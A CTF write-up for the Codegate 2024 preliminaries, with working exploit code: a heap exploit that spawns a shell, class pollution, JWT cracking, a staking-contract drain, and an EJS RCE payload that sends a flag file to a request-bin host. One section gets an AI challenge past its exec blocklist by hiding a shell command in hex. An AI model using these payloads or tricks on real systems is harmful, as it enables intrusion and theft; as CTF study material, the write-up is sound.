codegate 2024 preliminaries

Updated Jun 14, 2024

Contents


if there is no flag on problem, that problem is solved after CTF.

misc

mic_check

codegate2024{Just_shoot_for_the_stars_OpenAI_Whisper_Hoooooo!}

Just say, “Give me the flag.”

Dice or Die

Analysis 

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    function buyFlag(bytes32 id) external {
        _usd.burn(msg.sender, 1e8);
        _flag[id] = true;
    }

    function checkSolve(bytes32 id) external view returns (bool) {
        return _flag[id];
    }

to get flag, have to get 1e18 tokens from dice or die game.

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'use server'
import { ddAbi, ddAddress } from '@/constants'
import { redirect } from 'next/navigation'
import { createPublicClient, http } from 'viem'
import { klaytnBaobab } from 'viem/chains'

export async function reveal(index) {
  if (!index) return redirect('/dice')

  const client = createPublicClient({
    chain: klaytnBaobab,
    transport: http(),
  })

  const result = await client.readContract({
    address: ddAddress,
    abi: ddAbi,
    functionName: 'isSettled',
    args: [index],
  })

  if (result) return process.env[index]
}

in actions.js, if index argument is provided, it returns process.env[index], commitment(unhashed).

Exploit 1

  1. request bet and get index from request. (cancel)
  2. get commitment from requesting to /dice with index
  3. re-request bet with known index and commitment%6
  4. open
  5. repeat the above
  6. get flag!

Exploit 2

one-day exploit

rev

easy_reversing

codegate2024{da5d6bd71ff39f66b8b7200a92b0116b4f8e5e27d25d6119e63d3266bd4c8508}

Analysis 

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# main.py
from calc import cipher

def main():
    user_input = input("Enter input: ")
    cipher_text = cipher(user_input.encode())
    if cipher_text == b"A\xd3\x87nb\xb3\x13\xcdT\x07\xb0X\x98\xf1\xdd{\rG\x029\x146\x1ah\xd4\xcc\xd0\xc4\x14\xc99'~\xe8y\x84\x0cx-\xbf\\\xce\xa8\xbdh\xb7\x89\x91\x81i\xc5Yj\xeb\xed\xd1\x0b\xb4\x8bZ%1.\xa0w\xb2\x0e\xb5\x9d\x16\t\xd0m\xc0\xf8\x06\xde\xcd":
        print("Correct!")
    else:
        print("Fail!")

if __name__ == '__main__':
    main()
  1. get user input
  2. encrypt input with cipher from calc.pyc
  3. compare encrypted input with cipher_text
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# Source Generated with Decompyle++
# File: calc.pyc (Python 3.10)

MOD = 256

def KSA(key):
    key_length = len(key)
    S = list(range(MOD))
    j = 0
    for i in range(MOD):
        j = (j + S[i] + key[i % key_length]) % MOD
        S[i] = S[j]
        S[j] = S[i]
    return S


def PRGA(S):
	i = 0
	j = 0
	i = (i + 1) % MOD
	j = (j + S[i]) % MOD
	S[i] = S[j]
	S[j] = S[i]
	K = S[(S[i] + S[j]) % MOD]
	yield K
	continue


def get_keystream(key):
    S = KSA(key)
    return PRGA(S)


def cipher(text):
    key = 'neMphDuJDhr19Bb'
    key = (lambda .0: [ ord(c) ^ 48 for c in .0 ])(key)
    keystream = get_keystream(key) 
    text = text[-2:] + text[:-2]
    res = []
    for c in text:
        kk = next(keystream)
        val = c ^ kk
        res.append(val)
    return bytes(res)

source code worth viewing was generated through pycdc the routine is so simple.

  1. make keystream
  2. text = text[-2:] + text[:-2
  3. xor the text with keystream (another key generating function is not very important)

Exploit 

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from calc2 import cipher

def main():
    cipher_test_copy = b"A\xd3\x87nb\xb3\x13\xcdT\x07\xb0X\x98\xf1\xdd{\rG\x029\x146\x1ah\xd4\xcc\xd0\xc4\x14\xc99'~\xe8y\x84\x0cx-\xbf\\\xce\xa8\xbdh\xb7\x89\x91\x81i\xc5Yj\xeb\xed\xd1\x0b\xb4\x8bZ%1.\xa0w\xb2\x0e\xb5\x9d\x16\t\xd0m\xc0\xf8\x06\xde\xcd"
    user_input = b'a'*len(cipher_test_copy)
    cipher_text = cipher(user_input)
    print(cipher_text)
    key_list = []
    for i in range(len(cipher_text)):
        key_list.append(cipher_text[i] ^ user_input[i])

    flag = ""
    for i in range(len(cipher_text)):
        flag+=(chr(key_list[i]^cipher_test_copy[i]))

    flag = flag[2:]+flag[:2]
    print(flag)

if __name__ == '__main__':
    main()
  1. leak keystream
    1. cipher(b'a'*len(cipher_text)) ^ b'a'*len(cipher_text)
  2. xor cipher_text with that keystream

complex_sets

codegate2024{9cce050f2abaa59b946226e9e487c90e195d4f0f53975f625164562a6521cd751f7a72ef9c39f14abe9a246bbb1795aeff9d1d06912840928f1418b0a245cb}

An odd integer m and its multiple n, both less than 2^64, will be given in the form n = {n}, m = {m}:

Analysis 

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int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-50h] BYREF
  char *p; // [rsp+8h] [rbp-48h]
  _BOOL8 v6; // [rsp+10h] [rbp-40h]
  unsigned __int64 v7; // [rsp+18h] [rbp-38h]
  size_t v8; // [rsp+20h] [rbp-30h]
  __int64 *v9; // [rsp+28h] [rbp-28h]
  __int64 m; // [rsp+30h] [rbp-20h]
  size_t n; // [rsp+38h] [rbp-18h]
  const char **v12; // [rsp+40h] [rbp-10h]
  unsigned int v13; // [rsp+48h] [rbp-8h]
  int v14; // [rsp+4Ch] [rbp-4h]

  v14 = 0;
  v13 = argc;
  v12 = argv;
  if ( argc == 3 )
  {
    n = atoll(v12[1]);
    m = atoll(v12[2]);
    v9 = &v4;
    p = (char *)&v4 - ((n + 15) & 0xFFFFFFFFFFFFFFF0LL);
    v8 = n;
    memset(p, 0, n);
    v7 = 0LL;
    do
    {
      v6 = included_get_sum_mod_m((__int64)p, n, m) == 0;
      v7 = (v6 + v7) % 0xFFFFFFFFFFFFFFFFLL;
    }
    while ( (char)included_next(p, n) != 1 );
    printf("%ld\n", v7);
    return 0;
  }
  else
  {
    printf("argc(%d) must be 3", v13);
    return 1;
  }
}

unsigned __int64 __fastcall included_get_sum_mod_m(__int64 a1, unsigned __int64 n, unsigned __int64 m)
{
  unsigned __int64 i; // [rsp+8h] [rbp-28h]
  unsigned __int64 v5; // [rsp+10h] [rbp-20h]

  v5 = 0LL;
  for ( i = 0LL; i < n; ++i )
  {
    if ( *(_BYTE *)(a1 + i) == 1 )
      v5 = ((i + 1) % m + v5) % m;
  }
  return v5;
}

_BOOL8 __fastcall included_next(__int64 a1, unsigned __int64 n)
{
  unsigned __int64 i; // [rsp+0h] [rbp-28h]
  __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = 0LL;
  for ( i = 0LL; i <= n; ++i )
  {
    if ( i < n )
    {
      *(_BYTE *)(a1 + i) = *(_BYTE *)(a1 + i) == 0;
      if ( *(_BYTE *)(a1 + i) == 1 )
        break;
    }
    ++v4;
  }
  return v4 == n + 1;
}

the routine is shown below.

  1. included_next generate bin(i)[2:] from 0 to 2**n-1
  2. included_get_sum_mod_m traverses from digit 0 to digit n-1, adding all digits that are 1 and get the remainder divided by m as shown below 
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    # 22
1 0 1 1 0
5 4 3 2 1
(5+3+2)%m
  3. and if the remainder is 0, add 1 to v7 (result)
  4. and so on..

Exploit 

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from pwn import *

context.log_level = "debug"
p = remote("43.203.200.24",7331)

while True:
    try:
        p.recvuntil("= ")
        n=int(p.recvuntil(",")[:-1])
        p.recvuntil("= ")
        m=int(p.recvuntil("\n")[:-1])
        print(n,m)

        no = m
        kill = n
        all_list = [0 for i in range(no)]
        count = 0
        for i in range(2**no):
            a = bin(i)[2:]
            a = a[::-1]
            tmp = 0
            for j in range(len(a)):
                if (a[j] == '1'):
                    tmp+=(j+1)
            tmp = tmp % no
            if (tmp == 0):
                count+=1
            all_list[tmp] += 1
        print(all_list)


        for i in range(no+1,kill+1):
            all_list2 = [0 for i in range(no)]
            for j in range(no):
                all_list2[j] = all_list[j]+all_list[(j+i)%no]
            all_list = all_list2.copy()
        kill=((all_list[0]%0xFFFFFFFFFFFFFFFF))

        p.sendline(str(kill))
    finally:
        print("break")
  1. create a list of length m, where each index counts the number of remainders calculated from 0 to 2**m - 1 For example, if m is 3 and the remainders are [1, 2, 0, 0, 0, 2, 1], the list of length m would be [3, 2, 2], with each index incremented based on the remainders.”
  2. and, whenever a digit is added to the leading binary digit, divide that digit by m, and modify the existing remainder count list of length m to be the existing list plus the remaining list with that digit added. (with this technique, can save time)

pwn

baby heap

codegate2024{5ad6d0397afbe8f18e9a641edd697d8d02d6a80969b8b0c2038afe9db23c6f7870b0e59bc894827add7c6e1c97aec59d073d7d054ac90b24dc56128349cec5}

Analysis 

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    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

have to leak libcbase and overwrite libc got or some place else

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__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_1249(a1, a2, a3);
  while ( 1 )
  {
    menu();
    read(0, buf, 4uLL);
    buf[3] = 0;
    switch ( atoi(buf) )
    {
      case 1:
        add2();
        break;
      case 2:
        free2();
        break;
      case 3:
        modify();
        break;
      case 4:
        view();
        break;
      case 5:
        puts("bye");
        return 0LL;
      default:
        puts("invalid input");
        break;
    }
  }
}

struct chunk{
	size_t size;
	int64_t flag;
	char* data;
}

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unsigned __int64 add2()
{
  size_t size; // [rsp+8h] [rbp-28h]
  struct chunk *parent; // [rsp+10h] [rbp-20h]
  void *p; // [rsp+18h] [rbp-18h]
  char buf[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( (unsigned __int64)count <= 0xF )
  {
    printf("input chunk size : ");
    read(0, buf, 8uLL);
    size = atoi(buf);
    if ( size <= 199 )
    {
      parent = (struct chunk *)malloc(0x18uLL);
      if ( parent )
      {
        p = malloc(size);
        if ( p )
        {
          printf("input chunk data : ");
          read(0, p, size);
          parent->size = size;
          parent->flag = 1LL;
          parent->data = (char *)p;
          chunks[count++] = parent;
        }
        else
        {
          puts("failed malloc..");
        }
      }
      else
      {
        puts("failed malloc.");
      }
    }
    else
    {
      puts("too big chunk size");
    }
  }
  else
  {
    puts("chunk limit exceeded");
  }
  return v5 - __readfsqword(0x28u);
}
  1. get chunk size (<=199)
  2. malloc chunk and chunk’s data
  3. write input to data
  4. set chunk’s size, flag, data field
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unsigned __int64 free2()
{
  unsigned __int64 index; // [rsp+0h] [rbp-20h]
  struct chunk *p; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("input chunk id : ");
  read(0, buf, 8uLL);
  index = atoi(buf);
  if ( index < count )
  {
    p = chunks[index];
    if ( p )
    {
      if ( p->flag && p->data )
      {
        free(p->data);
        p->data = 0LL;
        p->flag = 0LL;
        free(chunks[index]);
      }
      else
      {
        puts("fail..");
      }
    }
    else
    {
      puts("fail.");
    }
  }
  else
  {
    puts("invalid chunk index");
  }
  return v4 - __readfsqword(0x28u);
}
  1. get chunk id
  2. get chunk and check flag and data is set
  3. free data and overwrite fields with 0, and free chunk
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unsigned __int64 modify()
{
  unsigned __int64 v1; // [rsp+0h] [rbp-20h]
  struct chunk *v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("input chunk id : ");
  read(0, buf, 8uLL);
  v1 = atoi(buf);
  if ( v1 < count )
  {
    v2 = chunks[v1];
    if ( v2 )
    {
      if ( v2->flag && v2->data )
      {
        printf("modify chunk data(max 40) : ");
        read(0, v2->data, 0x28uLL);
      }
      else
      {
        puts("fail..");
      }
    }
    else
    {
      puts("fail.");
    }
  }
  else
  {
    puts("invalid chunk index");
  }
  return v4 - __readfsqword(0x28u);
}
  1. get chunk id
  2. get chunk and check flag and data is set
  3. write input to data with 0x18 size
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unsigned __int64 view()
{
  int v1; // [rsp+8h] [rbp-18h]
  int v2; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("input chunk id : ");
  v1 = read(0, buf, 8uLL);
  v2 = atoi(buf);
  if ( v1 == -1 )
  {
    puts("input error");
  }
  else if ( v2 <= 15 )
  {
    if ( chunks[v2] )
    {
      if ( !chunks[v2]->flag || !chunks[v2]->data )
        puts("unused chunk");
      write(1, chunks[v2]->data, chunks[v2]->size);
    }
    else
    {
      puts("invalid chunk index");
    }
  }
  else
  {
    puts("oob input");
  }
  return v4 - __readfsqword(0x28u);
}
  1. get chunk id
  2. check flag and data is set
  3. output chunk data

Scenario

  1. leak libcbase with view (oob)
  2. make aaw, aar primitiv with add, free (uaf exists because there dangling pointer in chunks list)
  3. overwrite some place to spawn a shell

Exploit 

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from pwn import *

class Exploit:
    def __init__(self, chal_path, libc_path, nc_url):
        self.chal_path = chal_path
        self.libc_path = libc_path
        self.nc_url = nc_url

        libc = ELF(self.libc_path) if self.libc_path else None
        self.libc = libc
        env = {"LD_PRELOAD": self.libc_path} if self.libc_path else None
        env = {}
        if args.REMOTE:
            nc_url = self.nc_url.split()
            self.p = remote(nc_url[1], int(nc_url[2]))
        elif args.DEBUGG:
            context.terminal = ["tmux", "splitw", "-h"]
            self.p = process(self.chal_path, env=env)
            gdbscript = """
            # pie b 0x0000000000001814
            # pie b 0x0000000000001762
            # b *puts
            pie b 0x000000000000162A
            b *__run_exit_handlers+229

            p $_base()+0x4060

            c
            """
            gdb.attach(self.p, gdbscript=gdbscript)
        else:
            self.p = process(self.chal_path, env=env)
    
sla = lambda x, y : p.sendlineafter(x, y)
sa  = lambda x, y : p.sendafter(x, y)
sl  = lambda x    : p.sendline(x)
s   = lambda x    : p.send(x)
rvu = lambda x    : p.recvuntil(x)
rv  = lambda x    : p.recv(x)
rvl = lambda      : p.recvline()
li  = lambda x    : log.info(hex(x))

def add_chunk(size,data):
    sla(">> ","1")
    sla(": ",str(size).encode())
    sa(": ",data)


def del_chunk(idx):
    sla(">> ","2")
    sla(": ",str(idx).encode())

def view_chunk(idx):
    sla(">> ","4")
    sla(": ",str(idx).encode())

def modify_chunk(idx,data):
    sla(">> ","3")
    sla(": ",str(idx).encode())
    sa(": ",data)


def exit_pr():
    sla(">> ","5")

def ROL(data, shift, size=64):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)
    

def ROR(data, shift, size=64):
    shift %= size
    body = data >> shift
    remains = (data << (size - shift)) - (body << size)
    return (body + remains)

if __name__ == "__main__":
    context(os='linux', arch='amd64', log_level='debug')
    chal_path = "./chall"
    libc_path = "./libc.so.6.local"
    nc_url = "nc 13.125.233.58 7331"
    exp=Exploit(chal_path,libc_path,nc_url)
    p = exp.p
    libc = exp.libc


    view_chunk(-4)
    print(rv(0x5))
    a=u64(rv(8))
    off = 0x21ca60
    libc_base = a-off
    rvu("1")
    print("test")
    print(a)
    ld_rw = 0x00007f737079c040
    li(libc_base)

    add_chunk(10,b'aa')
    add_chunk(30,b'aa')
    del_chunk(0)
    del_chunk(1)

    got = 0x21a098-0x30
    got = 0x21bf00+0x10
    li(libc_base-0x28c0)
    add_chunk(0x18,p64(0x30)+p64(1)+p64(libc_base-0x28c0+0x30))

    li(libc_base)

    modify_chunk(0,p64(0)*3)
    modify_chunk(2,p64(0x30)+p64(1)+p64(libc_base+got))
    modify_chunk(0,p64(4)+p64(ROL(libc_base+libc.symbols['system'],0x11))+p64(libc_base+next(libc.search(b"/bin/sh"))))
    exit_pr()

    p.interactive()

i tried to find libc got and exploit it with one gadget, but it didn’t work. there are many one gadgets and libc got in libc.so.6, but condition not matched. so, i find another place to overwrite, and finally find __exit_funcs. when exit is called, it internally call __run_exit_handlers and then, handlers call functions refer from exit_function_list pointed to by __exit_funcs.

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struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
	void (*at) (void);
	struct
	  {
	    void (*fn) (int status, void *arg);
	    void *arg;
	  } on;
	struct
	  {
	    void (*fn) (void *arg, int status);
	    void *arg;
	    void *dso_handle;
	  } cxa;
      } func;
  };
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };

if overwrite __exit_funcs’s exit_function, can change control flow. (with flavor : 4 (ef_cxa), exafct(arg,status) called) but, __exit_funcs uses PTR_MANGLE, PTR_DEMANGLE for security. overwrite fs:[0x30] with 0 and overwrite func pointer with ROL(system) -> can bypass.

  1. locate view‘chunk to stderr and read datas and get some useful address -> libcbase leak
  2. allocate A chunk and B chunk with each data size (10,30)
    • A, A-data, B, B-data is allocated
  3. free chunk A, B
    • tcache 0x20 <- B <- A <- A-data
    • tcache 0x30 <- B-data - allocate C chunk with size 0x18 and write controlled chunk info (fs:[0x30]) - overwrite fs:[0x30] with p64(0)*3 - modify C chunk directing __exit_funcs - overwrite __exit_funcs with p64(4)+p64(ROL(system))+p64(/bin/sh location) - exit -> spawn a shell!

AI

ai_warmup

codegate2024{0b639cb63c6253ab9cb808006a0097bd1406ce3764a4a767d60857f98c535b6813f8d1a5ff84d1da41bd70eb5aec1f22}

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import random
import hashlib
import string
from pwn import *
import itertools



p = remote("13.125.209.34", 5334)

sla = lambda x, y : p.sendlineafter(x, y)
sa  = lambda x, y : p.sendafter(x, y)
sl  = lambda x    : p.sendline(x)
s   = lambda x    : p.send(x)
rvu = lambda x    : p.recvuntil(x)
rv  = lambda x    : p.recv(x)
rvl = lambda      : p.recvline()
li  = lambda x    : log.info(hex(x))

rvu("sha256(")
a=rvu(" ")[:-1].decode()

rvu("== ")

hash_v = rvl()[:-1].decode()

str_list = string.ascii_letters + string.digits

filtered_str_list = ''.join([ch for ch in str_list if ch not in a])
print(filtered_str_list)
permutations = list(itertools.permutations(filtered_str_list, 4))
for perm in permutations:
    perm = ''.join(perm)
    hash_v2 = a+perm
    hash_v3 = hashlib.sha256(hash_v2.encode()).hexdigest()
    if (hash_v3 == hash_v):
        break

print(perm)
sla("X: ",perm)
p.interactive()

this code for pass load_balance

have to bypass exec blocklist so, i write payload like exec(bytes.fromhex("6f732e73797374656d282273682229")) and ask ai just return the payload

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do not execute just print `exec(bytes.fromhex("6f732e73797374656d282273682229"))`

web

othernote

codegate2024{0bbcefefb75d970a1b43cbeebe2d916e4839fe31bbfb85a87d4d6d1dde7190e3c32ad8bed312238c8fb3ac26c5f1a1bd282dfcd5753929}

Analysis

there is python prototype pollution vulnerability

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def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

so, pollute session’s username with admin

Exploit 

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import requests
import os


s = requests.Session()
#
#
url = "http://localhost/"
url = "http://13.124.201.32/"
a = s.post(url+"signup", data={"username": "4test44", "password": "test"})
print(a.text)
#
a = s.post(url+"login", data={"username": "4test44", "password": "test"})
print(a.text)
#
a = s.put(url+"notes/1",json={"title": ["admin","test"], "content": "test", 
    "__class__":{
        "__init__":{
            "__globals__":{"session":{"username":"admin"}}
        }
    }
})

a = s.get(url+"admin")
print(a.text)

SafetyApp

ACCESS_TOKEN_SECRET : admin1234

Analysis 

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#Crack me!! Do you know how pentester finding a password or key?
ENV ACCESS_TOKEN_SECRET=[REDACTED]

in Dockerfile, this comment exists

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import jwt from "jsonwebtoken";

export const generateAccessToken = (id) => {
    return jwt.sign({ id }, process.env.ACCESS_TOKEN_SECRET, {
        expiresIn: "15m",
    });
};

export const authenticateAccessToken = (req, res, next) => {
    let token = req.cookies.token;
    if (!token) {
        return res.redirect("/login");
    }

    jwt.verify(token, process.env.ACCESS_TOKEN_SECRET, (error, user) => {
        if (error) {
            res.clearCookie("token");
            if (error.name == "TokenExpiredError"){
                return res.status(419).send("Token expired!");
            }   
            return res.status(401).send("Token invalid!");
        }
        req.user = user;
        next();    
    });
};

and in token.js, it user ACCESS_TOKEN_SECRET as a key. so, i use gojwtcrack to crack jwt token.

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$ cat rockyou.txt | gojwtcrack -t token.txt
admin1234       eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imd1ZXN0IiwiaWF0IjoxNzE4MDU5MTg5LCJleHAiOjE3MTgwNjAwODl9.tDBGq3gQexEfO90DPeZHtbTxg246OP61BFbmZEblDjM

so, now, we can login with admin

in ejs, we can pass not only data, but options through res.render("page", req.query);.

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app.get(
  "/user-details/:userId",
  authenticateAccessToken,
  [
    check("*").custom((value, { req }) => {
      // if (filtering(value)) {
      //     throw new Error('Keyword is blocked');
      // }
      return true;
    }),
  ],
  (req, res) => {
    if (req.user.id != "admin") {
      return res.status(401).send("You are not Admin!");
    }

    const { userId } = req.params;
    const user = users.find((user) => user.id === userId);

    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }

    if (user) {
      res.json(user);
    } else {
      req.query.errorCode = "404";
      req.query.message = "User not found";
      console.log(req.query);
      res.status(404).render("error", req.query);
    }
  },
);

in source code, it render with res.status(404).render("error", req.query); if no user matches. trigger rce with ejs vulnerability.

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settings[view options][escapeFunction]=(() => {import(`chi${''}ld_p${''}rocess`).then((xx) => \x7b\x7bvar a = xx[`ex${''}ecSync`]('cat flag.txt');import(`https`).then((yy) => {yy.get(`[your_request_bin_url]?a=${a}`);});\x7d\x7d);})&settings[view options][client]=1&settings[view options][debug]=1

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() => {
  import(`chi${""}ld_p${""}rocess`).then((xx) => {
    {
      var a = xx[`ex${""}ecSync`]("cat flag.txt");
      import(`https`).then((yy) => {
        yy.get(`[your_request_bin_url]?a=${a}`);
      });
    }
  });
};

cat flag.txt and send it to request bin.

Exploit 

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import subprocess
import jwt
import requests

s = requests.Session()

guest = s.post(
    "http://localhost:3000/login",
    data={"userId": "guest", "userPw": "guest"},
)
guest_token = s.cookies.get_dict()["token"]
with open("./token.txt", "w") as f:
    f.write(guest_token)
a = subprocess.run(
    "cat rockyou.txt | ../gojwtcrack/gojwtcrack -t token.txt",
    text=True,
    shell=True,
    capture_output=True,
)
password = (a.stdout).split()[0]
print(password)

guest_jwt = jwt.decode(guest_token, password, algorithms=["HS256"])
admin_origin = guest_jwt.copy()
admin_origin["id"] = "admin"
admin_jwt = jwt.encode(admin_origin, password, algorithm="HS256")
s.cookies.clear()
s.cookies.set("token", admin_jwt)

payload = "settings[view options][escapeFunction]=(() => {import(`chi${''}ld_p${''}rocess`).then((xx) => \x7b\x7bvar a = xx[`ex${''}ecSync`]('cat flag.txt');import(`https`).then((yy) => {yy.get(`[your_request_bin_url]?a=${a}`);});\x7d\x7d);})&settings[view options][client]=1&settings[view options][debug]=1"
rce = s.get("http://localhost:3000/user-details/admin1?" + payload)

blockchain

Staker

0x5bc2910452970e6313b16baecadf3672d6825c542bfa135aef128afaea43e3ceb4652d253bd28ae9ff1b222a0f70d63d32851ddc686d920bf85a775cd64c2a2f89eaa3a350f0ab4e5f75eabb67675d8f

Analysis 

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# Token
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Token is ERC20 {
    constructor() ERC20("Token", "TKN") {
        _mint(msg.sender, 186401 * 1e18);
    }
}

186401*1e18 tokens available for msg.sender

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# Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {Token} from "./Token.sol";
import {LpToken} from "./LpToken.sol";
import {StakingManager} from "./StakingManager.sol";

contract Setup {
    StakingManager public stakingManager;
    Token public token;

    constructor() payable {
        token = new Token();
        stakingManager = new StakingManager(address(token));

        token.transfer(address(stakingManager), 86400 * 1e18);

        token.approve(address(stakingManager), 100000 * 1e18);
        stakingManager.stake(100000 * 1e18);
    }

    function withdraw() external {
        token.transfer(msg.sender, token.balanceOf(address(this)));
    }

    function isSolved() public view returns (bool) {
        return token.balanceOf(address(this)) >= 10 * 1e18;
    }
}
  1. transfer stakingManager 86400*1e18 tokens
  2. approve stakingManager 100000*1e18 tokens and stake(100000*1e18) (1*1e18 tokens remains)
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# StakingManager.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {LpToken} from "./LpToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract StakingManager {
    uint256 constant REWARD_PER_SECOND = 1e18;

    IERC20 public immutable TOKEN;
    LpToken public immutable LPTOKEN;

    uint256 lastUpdateTimestamp;
    uint256 rewardPerToken;

    struct UserInfo {
        uint256 staked;
        uint256 debt;
    }

    mapping(address => UserInfo) public userInfo;

    constructor(address token) {
        TOKEN = IERC20(token);
        LPTOKEN = new LpToken();
    }

    function update() internal {
        if (lastUpdateTimestamp == 0) {
            lastUpdateTimestamp = block.timestamp;
            return;
        }

        uint256 totalStaked = LPTOKEN.totalSupply();
        if (totalStaked > 0 && lastUpdateTimestamp != block.timestamp) {
            rewardPerToken = (block.timestamp - lastUpdateTimestamp) * REWARD_PER_SECOND * 1e18 / totalStaked;
            lastUpdateTimestamp = block.timestamp;
        }
    }

    function stake(uint256 amount) external {
        update();

        UserInfo storage user = userInfo[msg.sender];

        user.staked += amount;
        user.debt += (amount * rewardPerToken) / 1e18;

        LPTOKEN.mint(msg.sender, amount);
        TOKEN.transferFrom(msg.sender, address(this), amount);
    }

    function unstakeAll() external {
        update();

        UserInfo storage user = userInfo[msg.sender];

        uint256 staked = user.staked;
        uint256 reward = (staked * rewardPerToken / 1e18) - user.debt;
        user.staked = 0;
        user.debt = 0;

        LPTOKEN.burnFrom(msg.sender, LPTOKEN.balanceOf(msg.sender));
        TOKEN.transfer(msg.sender, staked + reward);
    }
}
  • update()
    1. rewardPerToken = (block.timestamp - lastUpdateTimestamp) * REWARD_PER_SECOND * 1e18 / LPTOKEN.totalSupply();
  • stake(uint256 amount)
    1. update
    2. set staked, debt
    3. mint (LPTOKEN)
    4. transfer (TOKEN)
  • unstakeAll()
    1. update
    2. set staked, reward (update function set rewardPerToken. so, if we decrease LPTOKEN’s total supply, can get a big reward)
    3. burn (LPTOKEN)
    4. transfer (TOKEN)
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# LpToken.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract LpToken is ERC20 {
    address immutable minter;

    constructor() ERC20("LP Token", "LP") {
        minter = msg.sender;
    }

    function mint(address to, uint256 amount) external {
        require(msg.sender == minter, "only minter");
        _mint(to, amount);
    }

    function burnFrom(address from, uint256 amount) external {
        _burn(from, amount);
    }
}

Only the minter can access the mint, while anyone can access the burn

Exploit

  1. withdraw 1*1e18 tokens from Setup
  2. approve and stake 1*1e18 token
  3. burn Setup’s all tokens (LPTOKEN)
  4. wait for a minute
  5. unstakeAll and gets a big reward
  6. transfer 10*1e18 tokens to Setup
  7. Solved!
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// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {StakingManager} from "./StakingManager.sol";
import {Setup} from "./Setup.sol";
import {LpToken} from "./LpToken.sol";
import {Token} from "./Token.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";

contract Attack is Script{
  Setup public setup2 = Setup([setup contract]);
  StakingManager public stakingManager = setup2.stakingManager();
  Token public token = setup2.token();
  LpToken public lpToken = stakingManager.LPTOKEN();
  address me = [your address];

  function attack1() public {
    setup2.withdraw();
    uint256 balance = token.balanceOf(me);
    token.approve(address(stakingManager), balance);
    stakingManager.stake(balance);
    lpToken.burnFrom(address(setup2), 100000 * 1e18);

    uint256 totalSupply = lpToken.totalSupply();
    console.log(totalSupply);
  }
  function attack2() public{
    stakingManager.unstakeAll();
    uint256 balance = token.balanceOf(me);
    console.log(balance);

  }
  function send_10() public{
    token.approve(address(setup2), 10 * 1e18);
    token.transfer(address(setup2), 10 * 1e18);
  }

  function run() external {
    vm.startBroadcast();

    attack1();

    // attack2();

    // send_10();

    vm.stopBroadcast();
  }
}